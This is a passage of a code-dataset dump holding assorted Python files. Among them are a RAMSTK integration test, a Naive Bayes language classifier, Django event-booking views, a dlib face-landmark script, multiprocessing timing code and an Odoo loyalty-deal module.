'DesignMechanic record ID 300.')\n\n\n@pytest.mark.integration\ndef test_do_update(test_dao):\n \"\"\" do_update() should return a zero error code on success. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=3)\n\n _design_electric = DUT.do_select(3)\n _design_electric.resistance = 0.9832\n\n _error_code, _msg = DUT.do_update(3)\n\n assert _error_code == 0\n assert _msg == ('RAMSTK SUCCESS: Updating the RAMSTK Program database.')\n\n\n@pytest.mark.integration\ndef test_do_update_non_existent_id(test_dao):\n \"\"\" do_update() should return a non-zero error code when passed a DesignMechanic ID that doesn't exist. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=3)\n\n _error_code, _msg = DUT.do_update(100)\n\n assert _error_code == 2006\n assert _msg == ('RAMSTK ERROR: Attempted to save non-existent DesignMechanic '\n 'record ID 100.')\n\n\n@pytest.mark.integration\ndef test_do_update_all(test_dao):\n \"\"\" do_update_all() should return a zero error code on success. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=3)\n\n _error_code, _msg = DUT.do_update_all()\n\n assert _error_code == 0\n assert _msg == (\"RAMSTK SUCCESS: Updating all records in the mechanical \"\n \"design table.\")\n","sub_path":"tests/modules/hardware/test_designmechanic.py","file_name":"test_designmechanic.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"304169908","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 26 18:56:50 2018\n\n@author: ashvinee\n\"\"\"\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\n\n#Each line is spilted into sentences and labels\ndef data(filename):\n with open(filename, 'r', encoding='utf8') as fin:\n sentences, labels = [], []\n for line in fin:\n x, y = line.strip().split('\\t')\n sentences.append(x)\n if y:\n labels.append(y)\n return sentences, labels\n\n# eng-train.txt dataset is used for training the models\n#this file is passed to data function\nX_train, y_train = data('eng-train.txt')\n# eng-test.txt dataset is used for testing\n#this file is passed to data function\nX_dev, y_dev = data('eng-test.txt')\n\n#Using CountVectorizer for future extraction from text in training dataset\n#print ('Vectorizing...', flush=True)\nngram_vectorizer = CountVectorizer(analyzer='char',ngram_range=(2, 2), min_df=1)\ntrainset = ngram_vectorizer.fit_transform(X_train)\ntags = y_train\n\n#Training model using MultinomialNB ml algo\n#print ('Working on MultinomialNB... ', flush=True)\nNBclassifier = MultinomialNB()\n#trainset contains vectorize sentences\n#tags contains labels\nNBclassifier.fit(trainset, tags)\n\n#Using CountVectorizer for future extraction from text in testing dataset\ndevset = ngram_vectorizer.transform(X_dev)\npredictions = NBclassifier.predict(devset)\n#Calculating prediction accuracy score from testing dataset\nprint (accuracy_score(y_dev, predictions))\n'''\n#Displaying predicted language identified\n#for p in predictions:\n# print(p)\n\nprint(\"cross_val_predict...\")\nfrom sklearn.model_selection import cross_val_predict\ny_train_pred = cross_val_predict(NBclassifier,trainset, tags,cv=3)\n\nprint(\"Calculating precision and recall score...\")\nfrom sklearn.metrics import precision_score, recall_score\npscore = precision_score(tags,y_train_pred,average='micro')\nprint(\"precision_score : \", pscore)\nrscore = recall_score(tags,y_train_pred,average='micro')\nprint(\"recall_score : \", rscore)\n\nprint(\"Calculating f1_score...\")\nfrom sklearn.metrics import f1_score\nfscore = f1_score(tags,y_train_pred,average='micro')\nprint(\"f1_score : \", fscore)\n'''\n#True-Positive\nTP = 0\n#False-Positive\nFP = 0\n#True-Negative\nTN = 0\n#False-Negative\nFN = 0\n\nfor i in range(len(predictions)): \n #y_dev[i] contains actual labels\n #predictions[i] contains predicted labels\n if y_dev[i]==predictions[i]=='EN':\n TP += 1\n if y_dev[i]!='EN' and predictions[i]=='EN':\n FP += 1\n if y_dev[i]=='EN' and predictions[i]!='EN':\n TN += 1\n if y_dev[i]!='EN' and predictions[i]!='EN':\n FN += 1\n \nprint(TP)\nprint(FP)\nprint(TN)\nprint(FN)\n'''\n#import numpy as np\ny_true = ([])\nfor i in predictions:\n if i=='EN':\n y_true.append(1)\n else:\n y_true.append(0)\ny_true.toarray()\n\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import auc\n\n# Compute fpr, tpr, thresholds and roc auc\nfpr, tpr, thresholds = roc_curve(y_true, y_score)\nroc_auc = auc(y_true, y_score)\n\n# Plot ROC curve\nplt.plot(fpr, tpr, label='ROC curve (area = %0.3f)' % roc_auc)\nplt.plot([0, 1], [0, 1], 'k--') # random predictions curve\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.0])\nplt.xlabel('False Positive Rate or (1 - Specifity)')\nplt.ylabel('True Positive Rate or (Sensitivity)')\nplt.title('Receiver Operating Characteristic')\nplt.legend(loc=\"lower right\")\n\n'''\n#predicting language presented in eng-predict.txt files\nprefile = 'eng-predict.txt'\npf = open(prefile, 'r', encoding='utf8')\nfor line in pf:\n #Converting each line into list\n dline = [line]\n #Vactorizing\n strmod = ngram_vectorizer.transform(dline)\n #predicting lanhuahe of sentence\n predvalue = NBclassifier.predict(strmod)\n #print(predvalue)\n\n#Displaying whether given sentence is valid or not\nif predvalue == 'EN':\n print(\"Valid\")\nelse:\n print(\"Invalid\")","sub_path":"nb.py","file_name":"nb.py","file_ext":"py","file_size_in_byte":3991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"331196515","text":"numeros = []\r\nsoma = 0\r\nmultiplicacao = 1\r\n\r\nfor i in range (10):\r\n numero = int(input('Digite um numero inteiro: '))\r\n numeros.append(numero)\r\n soma = soma + numero\r\n multiplicacao = multiplicacao * numero\r\n\r\nprint('Soma: ', soma)\r\nprint('Multiplicação: ', multiplicacao)\r\nprint('Todos os numeros digitados: ', numeros)\r\n\r\n","sub_path":"questão3.py","file_name":"questão3.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"629697720","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.views import View\nfrom .forms import UserSignup, UserLogin, EventForm, SeatForm\nfrom .models import Event, Booking, Follow\nfrom django.http import Http404, JsonResponse\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom datetime import timedelta, datetime\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\n# e-mail\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\n\ndef home(request):\n events = Event.objects.filter(datetime__gte=datetime.today(),)[:10]\n\n context = {\n 'events': events,\n }\n return render(request, 'home.html', context)\n\nclass Signup(View):\n form_class = UserSignup\n template_name = 'signup.html'\n\n def get(self, request, *args, **kwargs):\n form = self.form_class()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.set_password(user.password)\n user.save()\n messages.success(request, \"You have successfully signed up.\")\n login(request, user)\n return redirect(\"home\")\n messages.warning(request, form.errors)\n return redirect(\"signup\")\n\n\nclass Login(View):\n form_class = UserLogin\n template_name = 'login.html'\n\n def get(self, request, *args, **kwargs):\n form = self.form_class()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n\n auth_user = authenticate(username=username, password=password)\n if auth_user is not None:\n login(request, auth_user)\n messages.success(request, \"Welcome Back!\")\n if (request.user.event.all().exists()) :\n return redirect('dashboard')\n else:\n return redirect('event-list')\n messages.warning(request, \"Wrong email/password combination. Please try again.\")\n return redirect(\"login\")\n messages.warning(request, form.errors)\n return redirect(\"login\")\n\n\nclass Logout(View):\n def get(self, request, *args, **kwargs):\n logout(request)\n messages.success(request, \"You have successfully logged out.\")\n return redirect(\"login\")\n\ndef user_profile(request, username):\n user = User.objects.get(username=username)\n\n events_list= Event.objects.filter(added_by__username=username)\n\n follow_obj= Follow.objects.filter(f=request.user).values_list('following', flat=True)\n\n f1= Follow.objects.filter(following=user).values_list('following', flat=True)\n f2= Follow.objects.filter(f=user).values_list('f', flat=True)\n\n print(follow_obj)\n context = {\n 'events': events_list,\n 'user': user,\n 'follow_obj':follow_obj,\n 'follower': f1,\n 'following': f2,\n }\n return render(request, 'user_profile.html', context)\n\n\ndef update_profile(request):\n\n form = UserSignup(instance=request.user)\n\n if request.method == 'POST':\n form = UserSignup(request.POST, instance=request.user)\n \n if form.is_valid():\n user = form.save(commit=False)\n user.set_password(user.password)\n user.save()\n messages.success(request, \"Updated Successfully.\")\n login(request, user)\n return redirect(\"home\")\n else:\n form = UserSignup(request.POST, instance=request.user)\n\n context = {\n 'form':form,\n }\n return render(request, 'update_profile.html', context)\n\n\n\ndef event_list(request):\n if request.user.is_anonymous:\n return redirect('login')\n events = Event.objects.filter(datetime__gte=datetime.today(), )\n query = request.GET.get('q')\n if query:\n events = events.filter(\n Q(title__icontains=query)|\n Q(description__icontains=query)|\n Q(added_by__username__icontains=query)\n ).distinct()\n context = {\n 'events': events,\n }\n\n return render(request, 'event_list.html', context)\n\ndef event_detail(request, event_id):\n event = Event.objects.get(id= event_id)\n\n form = SeatForm()\n if request.method == 'POST':\n form = SeatForm(request.POST)\n if event.seats_left() == 0:\n messages.warning(request, \"No tickets left, please book another event, thank you.\")\n return redirect('event-list')\n \n if form.is_valid():\n booking = form.save(commit=False)\n booking.user = request.user\n booking.event = event\n\n # checks if the tickets that the user want is greater than the seats left\n if booking.tickets > booking.event.seats_left():\n messages.warning(request, \"The number of tickets exceeded the limit! enter a valid number please.\")\n return redirect(event)\n \n # Sending a confirmation email to the user who booked\n subject = 'Booking Confirmation'\n message = ' Hi %s, \\n\\nthis is an email confirmation for you booking in our site. \\nThank you. ' % (request.user.username)\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [request.user.email,]\n send_mail( subject, message, email_from, recipient_list )\n\n booking.save()\n return redirect('event-list')\n\n attendance = Event.ticket_sum(event)\n\n context = {\n 'events': event,\n 'form': form,\n }\n\n return render(request, 'event_detail.html', context)\n\n\ndef event_create(request):\n if request.user.is_anonymous:\n return redirect(\"login\")\n form = EventForm()\n if request.method == 'POST':\n form = EventForm(request.POST,request.FILES or None)\n if form.is_valid():\n event = form.save(commit=False)\n event.added_by = request.user\n event.save()\n \n # Email the followers \n subject = 'HIIIIIIIIIIIIIIIIII'\n message = ' Testing the testing' \n email_from = settings.EMAIL_HOST_USER\n print(event.added_by.following.values_list('f__email', flat=True))\n send_mail(\n subject,\n message,\n email_from,\n event.added_by.following.values_list('f__email', flat=True) , \n fail_silently=False\n )\n\n return redirect('event-list')\n context = {\n 'form': form,\n }\n return render(request,'create.html', context)\n\ndef event_update(request, event_id):\n\n event = Event.objects.get(id= event_id)\n\n if request.user.is_anonymous:\n return redirect('event-list')\n if not(request.user.is_staff or request.user == event.added_by):\n raise Http404\n\n form = EventForm(instance=event)\n if request.method == 'POST':\n form = EventForm(request.POST,request.FILES, instance=event)\n if form.is_valid(): \n form.save()\n # messages.success(request, \"Successfully Updated!\")\n return redirect('event-list')\n\n context = {\n 'form': form,\n 'event': event,\n }\n return render(request,'event_update.html', context)\n\n\ndef event_delete(request, event_id):\n Event.objects.get(id= event_id).delete()\n\n return redirect('event-list')\n\n\ndef user_dashboard(request):\n if request.user.is_anonymous:\n return redirect('login')\n\n events_list= Event.objects.filter(added_by=request.user)\n\n previous_events= Booking.objects.filter(user= request.user)\n\n \n context = {\n \"events\": events_list,\n 'previous_events': previous_events,\n }\n return render(request, 'dashboard_events.html', context)\n\n\ndef user_follow(request, user_id):\n user_obj= User.objects.get(id= user_id)\n if request.user.is_anonymous:\n return redirect('signin')\n follow_obj, created = Follow.objects.get_or_create(following=user_obj, f=request.user)\n\n \n\n if created:\n follow='follow'\n else:\n follow='unfollow'\n follow_obj.delete()\n\n following_count= user_obj.following.all().count()\n follower_count= user_obj.follower.all().count()\n\n response = {\n 'follow':follow,\n 'following_count': follower_count,\n 'follower_count': following_count,\n }\n return JsonResponse(response, safe=False)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"events/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"112304314","text":"from django.urls import path\nfrom. import views\n\nurlpatterns = [\n path('',views.Login, name = 'login'),\n path('home',views.home, name = 'home'),\n path('profile',views.profile, name = 'profile'),\n path('contact',views.contact,name = 'contact'),\n path('logout',views.Logout, name = 'logout'),\n path('register',views.register,name='register'),\n path('post',views.create_post,name='post'),\n path('update',views.update_profile,name='update'),\n path('full_name',views.full_name,name='full_name'),\n \n]","sub_path":"my_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"50370809","text":"import cv2\nimport numpy as np\nimport dlib\n\n#open default camera\ncap = cv2.VideoCapture(0)\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n\nwhile True:\n\n _, frame = cap.read()\n # grey scale format, requires less processing. Video should be well illuminated\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = detector(gray)\n\n for face in faces:\n\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n\n #draw a box around the face by using coordinates, colour of rectangle = green, thickness = 3\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0,255, 0), 3)\n\n landmarks = predictor(gray, face)\n\n #Map landmarks to coordinates in the matrix\n for n in range(0, 68):\n x = landmarks.part(n).x\n y = landmarks.part(n).y\n cv2.circle(frame, (x, y), 4, (255, 0, 0), -1)\n\n cv2.imshow(\"Frame\", frame)\n\n #Stops closing the window, as long as program is running\n key = cv2.waitKey(1)\n if key == 27:\n break","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"582937947","text":"# This script defines a test case which computes one or more physical\n# properties with a given model\n#\n# INPUTS: \n# model.calculator -- an ase.calculator.Calculator instance\n# this script can assume the calculator is checkpointed.\n#\n# OUTPUTS:\n# properties -- dictionary of key/value pairs corresponding\n# to physical quantities computed by this test\n\n# standard ASE structure generation routines\nfrom ase.lattice.hexagonal import HexagonalClosedPacked\nfrom math import sqrt\n\nimport numpy as np\nimport lattice_tetragonal\n\n# the current model\nimport model \n\n#c_over_a = 1.8\n#a0 = (16.0*2*2/sqrt(3.0)/c_over_a)**(1.0/3.0)# initial guess at lattice constant, cell will be relaxed below\n\n#c_over_a = 1.588\n#a0 = 2.95\n\ndef create_omega_custom(c_vs_a, a, z):\n import quippy\n\n #a = (2 * V / (3.0**(0.5) * c_vs_a))**(1.0/3.0)\n c = c_vs_a * a\n\n lattice = []\n lattice.append([3.0**(0.5) /2.0 * a,-a/2.0,0])\n lattice.append([3.0**(0.5) /2.0 * a, a/2.0,0])\n lattice.append([0,0,c])\n lattice = np.transpose(lattice)\n unitcell = quippy.Atoms(n=0, lattice=lattice)\n\n pos = []\n pos.append([3.0**(0.5) /6.0 * a,0,0.0])\n pos.append([3.0**(0.5) /2.0 * a,0,c/2.0])\n pos.append([3.0**(0.5) * 5.0/6.0 * a,0,c/2.0])\n\n for i in range(0,len(pos)):\n unitcell.add_atoms(pos[i],z)\n\n return unitcell\n\n# set up the a\n#bulk = HexagonalClosedPacked(symbol='Ti', latticeconstant=(a0,a0*c_over_a))\n\nc_vs_a = 0.610\na = 4.630\n\nbulk = create_omega_custom(c_vs_a, a, 22)\n\n(c11, c33, c12, c13, c44, c66, E_vs_V) = lattice_tetragonal.do_lattice(bulk, elastic=True)#, tol=1.0e-2)\n\n# dictionary of computed properties - this is output of this test, to\n# be compared with other models\n#properties = {'hcp_E_vs_V': E_vs_V }\n\nproperties = {'omega_c11': c11, 'omega_c33': c33, 'omega_c12': c12, 'omega_c13': c13, 'omega_c44': c44, 'omega_c66': c66, 'omega_E_vs_V': E_vs_V }\n","sub_path":"tests/Ti/bulk_omega/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"592223068","text":"import multiprocessing as mp\nimport threading as td\nimport time, queue\n\n\ndef count_time(func):\n def wrapper(*args, **kwargs):\n time1 = time.clock()\n func(*args, **kwargs)\n print(func.__name__, time.clock() - time1)\n return wrapper\n\n\ndef job(q, a):\n res = 0\n for i in range(a):\n res += i ** 3.491\n q.put(res)\n # print(mp.current_process())\n\n@count_time\ndef multi_process(num):\n queue = mp.Queue()\n p1 = mp.Process(target=job, args=(queue, num))\n p2 = mp.Process(target=job, args=(queue, num))\n p1.start()\n p2.start()\n p1.join()\n p2.join()\n # print(queue.get())\n # print(queue.get())\n\n\n@count_time\ndef multi_thread(num):\n q = queue.Queue()\n t1 = td.Thread(target=job, args=(q, num))\n t2 = td.Thread(target=job, args=(q, num))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n # print(q.get())\n # print(q.get())\n\n@count_time\ndef single(num):\n q = queue.Queue()\n job(q, num)\n job(q, num)\n # print(q.get())\n # print(q.get())\n\n@count_time\ndef list_test(num):\n x = [i ** 3.491 for i in range(num)]\n x = [i ** 3.491 for i in range(num)]\n\nif __name__ == '__main__':\n # num = 10000000\n # multi_process(num)\n # time.sleep(5)\n # multi_thread(num)\n # time.sleep(5)\n # single(num)\n # time.sleep(5)\n # list_test(num)\n value = mp.Value('d', 1)\n array = mp.Array('i', [1, 2, 3])\n","sub_path":"ExperimentFeature/test_process.py","file_name":"test_process.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"317008822","text":"import sys\n\nres = {}\nif len(sys.argv) > 1:\n for i in sys.argv:\n if \"=\" in i:\n res[i.split(\"=\")[0]] = i.split(\"=\")[1]\n if \"--sort\" in sys.argv:\n res = dict(sorted(res.items(), key=lambda x: x[0]))\n\nfor key, value in res.items():\n print(f\"Key: {key} Value: {value}\")\n","sub_path":"WEB. Работа с командной строкой (скрипты, аргументы). Периодические задачи (модуль schedule)/Словарь из параметров.py","file_name":"Словарь из параметров.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"339911987","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport random, string\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom odoo.exceptions import Warning\nfrom .filestore import ImageFilestore\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError\n\nclass LoyaltyDealType(models.Model):\n \n _name = 'loyalty.deal.type'\n\n name = fields.Char('Deal Name Type', required=True)\n allow_description = fields.Boolean('Description Allowed?', default=False)\n allow_image = fields.Boolean('Offer Image Allowed?', default=False)\n auto_expire = fields.Boolean('Auto Expiration?', default=False)\n need_approval = fields.Boolean('Approval Needed?', default=False, help=\"Approval required from operation team\")\n allow_merchant_request = fields.Boolean('Can Merchant Request?', default=True, help=\"If checked, then this type of request can be created by merchants.\")\n expire_days_count = fields.Integer('Expire in (Days)')\n product_id = fields.Many2one('product.product', string=\"Related Product\")\n\n @api.model\n def create(self, vals):\n res = super(LoyaltyDealType, self).create(vals)\n if vals.get('need_approval'):\n product = self.env['product.product'].create({'name': vals.get('name') + \" Services\",\n 'type': 'service',\n })\n res.write({'product_id':product.id})\n return res\n\nclass LoyaltyCategory(models.Model):\n \n _name = 'loyalty.deal.category'\n \n name = fields.Char('Category', required=True, translate=True)\n \n\nclass LoyaltyDeal(models.Model):\n \n _name = 'loyalty.deal.rating.line'\n \n @api.constrains('rating')\n def check_rating(self):\n if self.rating % 0.5: \n raise ValidationError(_('Invalid Rating should be multiple of 0.5 in range 1 to 5'))\n else:\n return True\n \n customer_id = fields.Many2one('res.partner', domain=[('customer','=',True)], required=True)\n review = fields.Text('Review')\n rating = fields.Float(required=True, digits=(2,1))\n deal_id = fields.Many2one('loyalty.deal', 'Deal Reference',required=True, ondelete='cascade', index=True, copy=False, readonly=True)\n\nclass LoyaltyDeal(models.Model):\n \n _name = 'loyalty.deal'\n\n\n @api.depends('rating_line.rating')\n def _get_average_rating(self):\n for deal in self:\n deal_rating_avg = 0\n if deal.rating_line:\n deal_rating_avg = sum([float(rl.rating) for rl in deal.rating_line]) / len(deal.rating_line)\n deal.update({\n 'rating':deal_rating_avg,\n })\n\n @api.depends('merchant_id')\n def _get_merchant_shop_category(self):\n for deal in self:\n deal.update({\n 'category_id':deal.merchant_id.request_id.sudo().shop_type_id.id,\n })\n\n @api.depends('merchant_id')\n def _get_merchant_plan(self):\n for deal in self:\n deal.update({\n 'plan_id':deal.merchant_id.request_id.sudo().plan_id.id,\n })\n\n\n name = fields.Char(string='Deal Reference', required=True, copy=False, readonly=True, index=True, default=lambda self: _('New'),translate=True)\n title = fields.Char(string='Title',translate=True)\n description = fields.Text('Description', translate=True)\n type_id = fields.Many2one('loyalty.deal.type', 'Deal Type', required=True)\n category_id = fields.Many2one('merchant.shop.type', 'Shop Category', compute=\"_get_merchant_shop_category\", required=False, readonly=True, store=True)\n merchant_id = fields.Many2one('res.partner', default=lambda self:self._get_default_merchant_id(), domain=[('supplier','=', True), ('parent_id','=', False)], required=True)\n image = fields.Binary(\"Image\")\n image_url = fields.Char(\"Image URL\", translate=False)\n image_url_public = fields.Char(\"Image Public URL\", translate=False)\n publish_date = fields.Date(string='Activation Date')\n expiration_date = fields.Date(string='Expiration Date')\n allow_description = fields.Boolean('Description Allowed?', default=False)\n allow_image = fields.Boolean('Offer Image Allowed?', default=False)\n auto_expire = fields.Boolean('Manual Expire Allowed?', default=False)\n state = fields.Selection([('unpublish','Unpublished'), ('approval','Waiting for Approval'), ('publish','Published'), ('reject', 'Rejected')], default='unpublish', copy=False, required=True)\n need_approval = fields.Boolean('Approval Needed?', store=True, default=False, help=\"Approval required from operation team\")\n is_extra_transaction_needed = fields.Boolean('Extra Transaction Needed ?', default=False)\n extra_transaction_limit = fields.Integer('Extra Transaction Limit')\n invoice_id = fields.Many2one('account.invoice', 'Invoice', required=False, copy=False)\n reason = fields.Text('Rejection Reason', translate=True)\n rating_line = fields.One2many('loyalty.deal.rating.line', 'deal_id', string='Rating Line', copy=True, auto_join=True)\n rating = fields.Float('Average Rating', required=True, default=0, compute=\"_get_average_rating\", digits=(14,1))\n plan_id = fields.Many2one('merchant.plan', 'Merchant Plan', required=True, compute=\"_get_merchant_plan\")\n\n\n def _get_invoice_domain(self, partner_id=False):\n \"\"\"\n Compute Invoice Domain\n \"\"\"\n if partner_id:\n invoices = self.env['account.invoice'].sudo().search([('type','=','out_invoice'), ('state','=', 'paid'), ('partner_id','=',partner_id)])\n else:\n invoices = self.env['account.invoice'].sudo().search([('type','=','out_invoice'), ('state','=', 'paid')])\n \n invoice_ids = [invoice.id for invoice in invoices]\n \n # Invoices used in different requests\n if type(self.id).__name__ == 'int':\n deal_invoices_used = [x.invoice_id.id for x in self.env['loyalty.deal'].sudo().search([('id','!=',self.id)]) if x.invoice_id]\n else:\n deal_invoices_used = [x.invoice_id.id for x in self.env['loyalty.deal'].sudo().search([]) if x.invoice_id]\n\n tx_request_invoices_used = [x.invoice_id.id for x in self.env['loyalty.extra.txn.request'].sudo().search([]) if x.invoice_id]\n \n try:\n merchant_request_invoices_used = [x.invoice_id.id for x in self.env['merchant.request.invoice.line'].sudo().search([]) if x.invoice_id]\n except:\n merchant_request_invoices_used = []\n \n invoices_used = list(set(deal_invoices_used+tx_request_invoices_used+merchant_request_invoices_used))\n\n for invoice_id in invoice_ids:\n if invoice_id in invoices_used:\n invoice_ids.remove(invoice_id)\n return invoice_ids\n \n\n @api.constrains('invoice_id')\n def validate_invoice_id(self):\n if self.merchant_id:\n invoices = self.env['account.invoice'].sudo().search([('type','=','out_invoice'), ('state','=', 'paid'), ('partner_id','=',self.merchant_id.id)])\n else:\n invoices = self.env['account.invoice'].sudo().search([('type','=','out_invoice'), ('state','=', 'paid')])\n invoice_ids = [invoice.id for invoice in invoices]\n \n if type(self.id).__name__ == 'int':\n deal_invoices_used = [x.invoice_id.id for x in self.env['loyalty.deal'].sudo().search([('id','!=',self.id)]) if x.invoice_id]\n else:\n deal_invoices_used = [x.invoice_id.id for x in self.env['loyalty.deal'].sudo().search([]) if x.invoice_id]\n\n tx_request_invoices_used = [x.invoice_id.id for x in self.env['loyalty.extra.txn.request'].sudo().search([]) if x.invoice_id]\n merchant_request_invoices_used = [x.invoice_id.id for x in self.env['merchant.request.invoice.line'].sudo().search([])]\n \n invoices_used = list(set(deal_invoices_used+tx_request_invoices_used+merchant_request_invoices_used))\n \n if self.invoice_id.id in invoices_used:\n raise ValidationError(_('Invoice Already used.'))\n else:\n pass\n\n @api.onchange('merchant_id')\n def onchange_merchant_id(self):\n partner_id = False\n if self.merchant_id:\n partner_id = self.merchant_id.id\n invoice_ids = self._get_invoice_domain(partner_id=partner_id)\n return {'domain':{'invoice_id':[('id','in',invoice_ids)]}}\n\n @api.model\n def _get_default_merchant_id(self):\n if self.env.user.partner_id.parent_id:\n return self.env['res.users'].sudo().browse(self.env.uid).partner_id.parent_id.id\n else:\n return self.env['res.users'].sudo().browse(self.env.uid).partner_id.id\n\n @api.model\n def create(self, vals):\n user = self.env['res.users'].sudo()\n\n if not vals.get('category_id'):\n request_id = user.browse(self.env.uid).partner_id.request_id\n vals['category_id'] = request_id.shop_type_id.id\n \n if not vals.get('category_id') and user.has_group('loyalty.group_merchant_admin'):\n raise Warning(_('Your Merchant Request is not registered. Contact System Admin to link your account with your merchant registeration request.'))\n \n if vals.get('invoice_id'):\n if self.search([('invoice_id','=',vals.get('invoice_id'))]):\n raise Warning(_('This Invoice is already registered with another request'))\n\n elif self.env['merchant.request.invoice.line'].sudo().search([('invoice_id','=', vals.get('invoice_id'))]):\n raise Warning(_('This Invoice is already registered with another request'))\n\n if vals.get('name', _('New')) == _('New'):\n vals['name'] = self.env['ir.sequence'].next_by_code('loyalty.deal') or _('New')\n\n res = super(LoyaltyDeal, self).create(vals)\n if vals.get('image'):\n image_url = ImageFilestore().convert(res.id, res.image, 'deals')\n random_param = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)).lower()\n image_url_public = '/api/image/deals/%s?random=%s' % (res.id, random_param)\n res.write({'image_url':image_url, 'image_url_public':image_url_public})\n return res\n\n @api.multi\n def write(self, vals):\n if vals.get('invoice_id'):\n if self.search([('invoice_id','=',vals.get('invoice_id'))]):\n raise Warning(_('This Invoice is already registered with another request'))\n\n elif self.env['merchant.request.invoice.line'].search([('invoice_id','=', vals.get('invoice_id'))]):\n raise Warning(_('This Invoice is already registered with another request'))\n\n if vals.get('image'):\n vals['image_url'] = ImageFilestore().convert(self.id, vals.get('image'), 'deals')\n random_param = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)).lower()\n vals['image_url_public'] = '/api/image/deals/%s?random=%s' % (self.id, random_param)\n res = super(LoyaltyDeal, self).write(vals)\n return res\n\n\n @api.multi\n def generate_img_urls(self):\n for deal in self.search([]):\n if deal.allow_image and deal.image:\n image_url = ImageFilestore().convert(deal.id, deal.image, 'deals')\n random_param = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)).lower()\n image_url_public = '/api/image/deals/%s?random=%s' % (deal.id, random_param)\n deal.write({'image_url':image_url, 'image_url_public':image_url_public})\n return\n\n # @api.constrains('image')\n # def validate_image_size(self):\n # if self.image:\n # ICP = self.env['ir.config_parameter'].sudo()\n # max_img_size = int(ICP.get_param('merchant.max_img_size'))\n # img_data = self.image\n # img_size = (((len(img_data) * 3) / 4) / 1000)\n # if img_size > float(max_img_size):\n # raise ValidationError(_('Image Size Too Large. Should not exceed %s KB' % str(max_img_size)))\n\n @api.onchange('type_id')\n def deal_type_field(self):\n if self.type_id.allow_description == True:\n self.allow_description = True\n else:\n self.allow_description = False\n\n if self.type_id.allow_image == True:\n self.allow_image = True\n else:\n self.allow_image = False\n\n if self.type_id.auto_expire == True:\n self.auto_expire = True\n else:\n self.auto_expire = False\n \n if self.type_id.need_approval == True:\n self.need_approval = True\n else:\n self.need_approval = False\n\n def _get_partner(self):\n user = self.env['res.users'].sudo().browse(self.env.uid)\n partner = user.partner_id\n return partner\n\n @api.multi\n def unpublish(self):\n for deal in self:\n deal.write({'state':'unpublish'})\n\n def notify(self, ctx={}):\n email_template = self.env.ref('loyalty.notification_deal_request')\n email_template.sudo().with_context(ctx).send_mail(self.id, force_send=True, raise_exception=True)\n\n @api.multi\n def publish(self):\n \"\"\"\n \"\"\"\n expirable_deal_type_ids = [x.id for x in self.env['loyalty.deal.type'].search([]) if x.auto_expire == True]\n for deal in self:\n expire_date = False\n partner = deal._get_partner()\n if partner.user_ids[0].has_group('loyalty.group_merchant_admin'):\n ad_type_limit = partner._get_publish_ad_limit(ad_typeObj=deal.type_id)\n published_ads = deal.search([('merchant_id','=',partner.id), ('type_id','=',deal.type_id.id), ('state','=', 'publish')])\n if len(published_ads) < ad_type_limit:\n if deal.type_id.id in expirable_deal_type_ids:\n expire_date = datetime.now() + timedelta(days=deal.type_id.expire_days_count)\n expire_date = expire_date.strftime('%Y-%m-%d')\n publish_date = datetime.now()\n publish_date= publish_date.strftime('%Y-%m-%d')\n deal.write({'state':'publish', 